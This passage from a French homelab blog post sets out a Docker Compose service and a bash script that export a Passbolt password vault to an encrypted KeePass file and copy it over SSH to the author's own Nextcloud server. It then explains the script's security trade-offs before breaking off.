style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">volumes</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> ./secrets</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">/secrets</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">ro                     </span><span class="token comment" style="color:#999988;font-style:italic"># lecture seule</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> ./output</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">/output</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> ./build/run.sh</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">/usr/local/bin/run.sh</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">ro</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">environment</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token key atrule" style="color:#00a4db">PASSBOLT_SERVER</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> https</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">//passbolt.homelab.local</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token key atrule" style="color:#00a4db">NEXTCLOUD_HOST</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> 10.1.2.67</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token key atrule" style="color:#00a4db">NEXTCLOUD_USER</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> passbolt</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">backup</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token key atrule" style="color:#00a4db">KDBX_PREFIX</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> passbolt</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">backup</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token key atrule" style="color:#00a4db">RETENTION_COUNT</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"30"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">command</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"/usr/local/bin/run.sh"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">networks</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> proxy</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">net   </span><span class="token comment" style="color:#999988;font-style:italic"># 👈 même réseau que Passbolt et NPM</span><br></div></code></pre></div></div>
<p>Le point clé : <code>networks: [proxy-net]</code>. Comme NPM et Passbolt sont sur ce réseau, mon container de backup peut résoudre <code>passbolt.homelab.local</code> via NPM. Il n'a pas besoin d'exposer de ports ni d'aller chercher Passbolt par son IP interne Docker.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-script-runsh">Le script <code>run.sh</code><a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#le-script-runsh" class="hash-link" aria-label="Lien direct vers le-script-runsh" title="Lien direct vers le-script-runsh" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token shebang important">#!/bin/bash</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Script d'orchestration pour la sauvegarde Passbolt → Nextcloud</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token builtin class-name">set</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-euo</span><span class="token plain"> pipefail</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ------ Variables ------</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">PASSBOLT_SERVER</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">${PASSBOLT_SERVER</span><span class="token string variable operator" style="color:#393A34">:-</span><span class="token string variable" style="color:#36acaa">https</span><span class="token string variable operator" style="color:#393A34">:</span><span class="token string variable operator" style="color:#393A34">/</span><span class="token string variable operator" style="color:#393A34">/</span><span class="token string variable" style="color:#36acaa">passbolt.homelab.local}</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">NEXTCLOUD_HOST</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">${NEXTCLOUD_HOST</span><span class="token string variable operator" style="color:#393A34">:-</span><span class="token string variable" style="color:#36acaa">10.1.2.67}</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">NEXTCLOUD_USER</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">${NEXTCLOUD_USER</span><span class="token string variable operator" style="color:#393A34">:-</span><span class="token string variable" style="color:#36acaa">passbolt-backup}</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">KDBX_PREFIX</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">${KDBX_PREFIX</span><span class="token string variable operator" style="color:#393A34">:-</span><span class="token string variable" style="color:#36acaa">passbolt-backup}</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">RETENTION_COUNT</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">${RETENTION_COUNT</span><span class="token string variable operator" style="color:#393A34">:-</span><span class="token string variable" style="color:#36acaa">30}</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">GPG_PASSPHRASE_FILE</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"/secrets/gpg_passphrase"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">KDBX_PASSWORD_FILE</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"/secrets/kdbx_password"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">PASSBOLT_PRIVKEY</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"/secrets/passbolt_privkey.asc"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">SSH_KEY</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"/secrets/ssh_id_ed25519"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ------ Logging ------</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function-name function" style="color:#d73a49">log</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">       </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> </span><span class="token builtin class-name">echo</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"[</span><span class="token string variable" style="color:#36acaa">$(</span><span class="token string variable function" style="color:#d73a49">date</span><span class="token string variable" style="color:#36acaa"> </span><span class="token string variable parameter variable" style="color:#36acaa">-u</span><span class="token string variable" style="color:#36acaa"> +</span><span class="token string variable string" style="color:#e3116c">'%Y-%m-%dT%H:%M:%SZ'</span><span class="token string variable" style="color:#36acaa">)</span><span class="token string" style="color:#e3116c">] </span><span class="token string variable" style="color:#36acaa">$*</span><span class="token string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function-name function" style="color:#d73a49">log_error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> log </span><span class="token string" style="color:#e3116c">"ERREUR: </span><span class="token string variable" style="color:#36acaa">$*</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token file-descriptor important">&amp;2</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token builtin class-name">exit</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ------ Vérifications ------</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token for-or-select variable" style="color:#36acaa">f</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$GPG_PASSPHRASE_FILE</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$KDBX_PASSWORD_FILE</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$PASSBOLT_PRIVKEY</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$SSH_KEY</span><span class="token string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">do</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-f</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$f</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> log_error </span><span class="token string" style="color:#e3116c">"Fichier </span><span class="token string variable" style="color:#36acaa">$f</span><span class="token string" style="color:#e3116c"> introuvable"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">done</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-d</span><span class="token plain"> /output </span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> log_error </span><span class="token string" style="color:#e3116c">"Dossier /output introuvable"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">GPG_PASSPHRASE</span><span class="token operator" style="color:#393A34">=</span><span class="token variable" style="color:#36acaa">$(</span><span class="token variable function" style="color:#d73a49">tr</span><span class="token variable" style="color:#36acaa"> </span><span class="token variable parameter variable" style="color:#36acaa">-d</span><span class="token variable" style="color:#36acaa"> </span><span class="token variable string" style="color:#e3116c">'\n'</span><span class="token variable" style="color:#36acaa"> </span><span class="token variable operator" style="color:#393A34">&lt;</span><span class="token variable" style="color:#36acaa"> </span><span class="token variable string" style="color:#e3116c">"</span><span class="token variable string variable" style="color:#36acaa">$GPG_PASSPHRASE_FILE</span><span class="token variable string" style="color:#e3116c">"</span><span class="token variable" style="color:#36acaa">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">KDBX_PASSWORD</span><span class="token operator" style="color:#393A34">=</span><span class="token variable" style="color:#36acaa">$(</span><span class="token variable function" style="color:#d73a49">tr</span><span class="token variable" style="color:#36acaa"> </span><span class="token variable parameter variable" style="color:#36acaa">-d</span><span class="token variable" style="color:#36acaa"> </span><span class="token variable string" style="color:#e3116c">'\n'</span><span class="token variable" style="color:#36acaa"> </span><span class="token variable operator" style="color:#393A34">&lt;</span><span class="token variable" style="color:#36acaa"> </span><span class="token variable string" style="color:#e3116c">"</span><span class="token variable string variable" style="color:#36acaa">$KDBX_PASSWORD_FILE</span><span class="token variable string" style="color:#e3116c">"</span><span class="token variable" style="color:#36acaa">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ------ 1/4 : Export KDBX ------</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">log </span><span class="token string" style="color:#e3116c">"=== Début du backup Passbolt ==="</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">TIMESTAMP</span><span class="token operator" style="color:#393A34">=</span><span class="token variable" style="color:#36acaa">$(</span><span class="token variable function" style="color:#d73a49">date</span><span class="token variable" style="color:#36acaa"> </span><span class="token variable parameter variable" style="color:#36acaa">-u</span><span class="token variable" style="color:#36acaa"> +</span><span class="token variable string" style="color:#e3116c">'%Y-%m-%d_%H-%M-%S'</span><span class="token variable" style="color:#36acaa">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">KDBX_FILE</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"/output/</span><span class="token string variable" style="color:#36acaa">${KDBX_PREFIX}</span><span class="token string" style="color:#e3116c">_</span><span class="token string variable" style="color:#36acaa">${TIMESTAMP}</span><span class="token string" style="color:#e3116c">.kdbx"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">log </span><span class="token string" style="color:#e3116c">"Étape 1/4 : Export Passbolt vers </span><span class="token string variable" style="color:#36acaa">$KDBX_FILE</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">go-passbolt-cli </span><span class="token builtin class-name">export</span><span class="token plain"> keepass </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token parameter variable" style="color:#36acaa">--serverAddress</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$PASSBOLT_SERVER</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token parameter variable" style="color:#36acaa">--tlsSkipVerify</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token parameter variable" style="color:#36acaa">--userPrivateKeyFile</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$PASSBOLT_PRIVKEY</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token parameter variable" style="color:#36acaa">--userPassword</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$GPG_PASSPHRASE</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token parameter variable" style="color:#36acaa">--mfaMode</span><span class="token plain"> none </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token parameter variable" style="color:#36acaa">--file</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$KDBX_FILE</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token parameter variable" style="color:#36acaa">--password</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$KDBX_PASSWORD</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> log_error </span><span class="token string" style="color:#e3116c">"Échec de l'export Passbolt"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">log </span><span class="token string" style="color:#e3116c">"Export terminé : </span><span class="token string variable" style="color:#36acaa">$(</span><span class="token string variable function" style="color:#d73a49">stat</span><span class="token string variable" style="color:#36acaa"> -c%s </span><span class="token string variable string" style="color:#e3116c">"</span><span class="token string variable string variable" style="color:#36acaa">$KDBX_FILE</span><span class="token string variable string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">)</span><span class="token string" style="color:#e3116c"> octets"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ------ 2/4 : Transfert ------</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">log </span><span class="token string" style="color:#e3116c">"Étape 2/4 : Transfert vers Nextcloud"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">rsync</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-av</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token parameter variable" style="color:#36acaa">-e</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"ssh -i </span><span class="token string variable" style="color:#36acaa">$SSH_KEY</span><span class="token string" style="color:#e3116c"> -o StrictHostKeyChecking=accept-new"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$KDBX_FILE</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">${NEXTCLOUD_USER}</span><span class="token string" style="color:#e3116c">@</span><span class="token string variable" style="color:#36acaa">${NEXTCLOUD_HOST}</span><span class="token string" style="color:#e3116c">:./"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> log_error </span><span class="token string" style="color:#e3116c">"Échec du rsync"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ------ 3/4 : Rotation ------</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">log </span><span class="token string" style="color:#e3116c">"Étape 3/4 : Rotation (garder </span><span class="token string variable" style="color:#36acaa">$RETENTION_COUNT</span><span class="token string" style="color:#e3116c">)"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">ssh</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-i</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$SSH_KEY</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-o</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">StrictHostKeyChecking</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">accept-new </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">${NEXTCLOUD_USER}</span><span class="token string" style="color:#e3116c">@</span><span class="token string variable" style="color:#36acaa">${NEXTCLOUD_HOST}</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"nc-rotate </span><span class="token string variable" style="color:#36acaa">$RETENTION_COUNT</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> log_error </span><span class="token string" style="color:#e3116c">"Échec rotation"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ------ 4/4 : Scan Nextcloud ------</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">log </span><span class="token string" style="color:#e3116c">"Étape 4/4 : Scan Nextcloud"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">ssh</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-i</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$SSH_KEY</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-o</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">StrictHostKeyChecking</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">accept-new </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">${NEXTCLOUD_USER}</span><span class="token string" style="color:#e3116c">@</span><span class="token string variable" style="color:#36acaa">${NEXTCLOUD_HOST}</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"nc-scan"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> log_error </span><span class="token string" style="color:#e3116c">"Échec scan"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ------ Cleanup ------</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">log </span><span class="token string" style="color:#e3116c">"Nettoyage du fichier local </span><span class="token string variable" style="color:#36acaa">$KDBX_FILE</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">rm</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-f</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$KDBX_FILE</span><span class="token string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">log </span><span class="token string" style="color:#e3116c">" Backup Passbolt terminé avec succès"</span><br></div></code></pre></div></div>
<p>Quelques détails à expliquer :</p>
<p><strong><code>set -euo pipefail</code></strong> : c'est la base de tout script de prod. <code>-e</code> plante au premier échec, <code>-u</code> plante si on lit une variable non définie, <code>-o pipefail</code> plante si une étape d'un pipe échoue (pas juste la dernière). Sans ça, un script bash continue gaiement après une erreur silencieuse.</p>
<p><strong><code>--mfaMode none</code></strong> : le compte de service Passbolt <strong>ne doit pas avoir de 2FA</strong>. Le CLI bloquerait sur un prompt TOTP en mode non-interactif et le job timeouterait. Le compte est donc dédié uniquement à la sauvegarde, protégé par sa clé PGP forte, et tracé dans les logs d'audit Passbolt.</p>
<p><strong><code>--tlsSkipVerify</code></strong> : le certificat de NPM est auto-signé dans mon homelab. Tant que le trafic ne sort pas du réseau interne (et c'est le cas, on est sur <code>proxy-net</code>), c'est acceptable. Pour durcir, on peut récupérer la CA NPM et la monter dans <code>/etc/ssl/certs/</code> du container.</p>
<p><strong><code>StrictHostKeyChecking=accept-new</code></strong> : plutôt que <code>no</code> (qui accepte n'importe quoi à chaque fois), <code>accept-new</code> accepte la clé du serveur à la première connexion et <strong>râle si elle change ensuite</strong>. C'est la bonne option pour ce cas d'usage : on accepte le serveur la première fois et on détecte un MITM ensuite. (Note : ça suppose un <code>known_hosts</code> persistant, ce qui n'est pas le cas dans un container éphémère. Pour bien faire, il faudrait bind-mount un <code>known_hosts</code> figé. C'est une amélioration à venir.)</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="configuration-côté-nextcloud">Configuration côté Nextcloud<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#configuration-c%C3%B4t%C3%A9-nextcloud" class="hash-link" aria-label="Lien direct vers Configuration côté Nextcloud" title="Lien direct vers Configuration côté Nextcloud" translate="no">​</a></h2>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>info</div><div class="admonitionContent_BuS1"><p>Au cas où, mon serveur est installé an bare metal. Aucun service docker, l'installation est l'identique à ce que l'on peut retrouver dans les docs officielle d'installation de nextcloud en ligne.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="utilisateur-applicatif-vs-utilisateur-système">Utilisateur applicatif vs utilisateur système<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#utilisateur-applicatif-vs-utilisateur-syst%C3%A8me" class="hash-link" aria-label="Lien direct vers Utilisateur applicatif vs utilisateur système" title="Lien direct vers Utilisateur applicatif vs utilisateur système" translate="no">​</a></h3>
<p>Petite subtilité importante : Nextcloud connaît deux types d'utilisateurs :</p>
<ol>
<li class=""><strong>L'utilisateur Nextcloud</strong> (dans la base Nextcloud), qui peut se connecter à l'interface web et possède des fichiers visibles dans l'app.</li>
<li class=""><strong>L'utilisateur Linux/système</strong>, qui sert à se connecter en SSH au serveur.</li>
</ol>
<p>Pour mon backup, j'ai besoin des deux :</p>
<ul>
